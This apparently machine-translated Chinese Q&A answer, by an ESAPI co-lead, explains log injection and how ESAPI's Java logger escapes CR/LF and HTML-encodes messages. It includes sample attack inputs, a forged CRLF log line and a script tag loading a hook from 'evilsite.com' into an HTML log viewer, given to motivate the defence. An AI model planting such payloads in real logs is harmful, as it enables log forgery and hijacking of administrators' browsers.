有什么方法可以在不更改的情况下修复此漏洞
记录到 ESAPI?
简而言之,是的。
TLDR:
首先了解错误的严重性。主要关注的是伪造日志语句。假设你有这样的代码:
log.error( transactionId + " for user " + username + " was unsuccessful."
如果任何一个变量都在用户控制之下,他们可以使用\r\n for user foobar was successful\rn 之类的输入来注入错误的日志语句,从而允许他们伪造日志并掩盖他们的踪迹。 (好吧,在这种人为的情况下,只是让它更难看到发生了什么。)
第二种攻击方法更像是国际象棋。许多日志是 HTML 格式的,可以在另一个程序中查看,对于这个例子,我们假设日志是 HTML 文件,可以在浏览器中查看。现在我们注入<script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>,您将使用最有可能作为服务器管理员执行的漏洞利用框架挂钩浏览器......因为它怀疑首席执行官是否会阅读日志。现在真正的破解可以开始了。
防御:
一个简单的防御措施是确保所有带有用户输入的日志语句都使用明显的字符“\n”和“\r”转义,例如“֎”,或者您可以执行 ESAPI 所做的并使用下划线转义。只要它一致就真的没关系,只要记住不要在日志中使用会让你感到困惑的字符集。类似userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");
我还发现确保精确指定日志格式很有用...这意味着您要确保对日志语句的外观和格式设置有严格的标准,以便更容易捕获恶意用户.所有程序员都必须投稿并遵守格式!
为了防御 HTML 场景,我会使用 [OWASP 编码器项目][1]
至于为什么推荐 ESAPI 的实现,它是一个久经考验的库,但简而言之,这本质上就是我们所做的。见代码:
/**
* Log the message after optionally encoding any special characters that might be dangerous when viewed
* by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
* injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
* specific session ID, and the current date/time.
*
* It will only log the message if the current logging level is enabled, otherwise it will
* discard the message.
*
* @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
* @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
* @param message the message to be logged
* @param throwable the {@code Throwable} from which to generate an exception stack trace.
*/
private void log(Level level, EventType type, String message, Throwable throwable) {
// Check to see if we need to log.
if (!isEnabledFor(level)) {
return;
}
// ensure there's something to log
if (message == null) {
message = "";
}
// ensure no CRLF injection into logs for forging records
String clean = message.replace('\n', '_').replace('\r', '_');
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
clean = ESAPI.encoder().encodeForHTML(message);
if (!message.equals(clean)) {
clean += " (Encoded)";
}
}
// log server, port, app name, module name -- server:80/app/module
StringBuilder appInfo = new StringBuilder();
if (ESAPI.currentRequest() != null && logServerIP) {
appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
}
if (logAppName) {
appInfo.append("/").append(applicationName);
}
appInfo.append("/").append(getName());
//get the type text if it exists
String typeInfo = "";
if (type != null) {
typeInfo += type + " ";
}
// log the message
// Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
// need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}
参见第 398-453 行。这就是 ESAPI 提供的所有转义。我建议也复制单元测试。
[免责声明]:我是 ESAPI 的项目联合负责人。
[1]:https://www.owasp.org/index.php/OWASP_Java_Encoder_Project 并确保您的输入在进入日志记录语句时被正确编码——每一位都与您将输入发送回用户时一样多。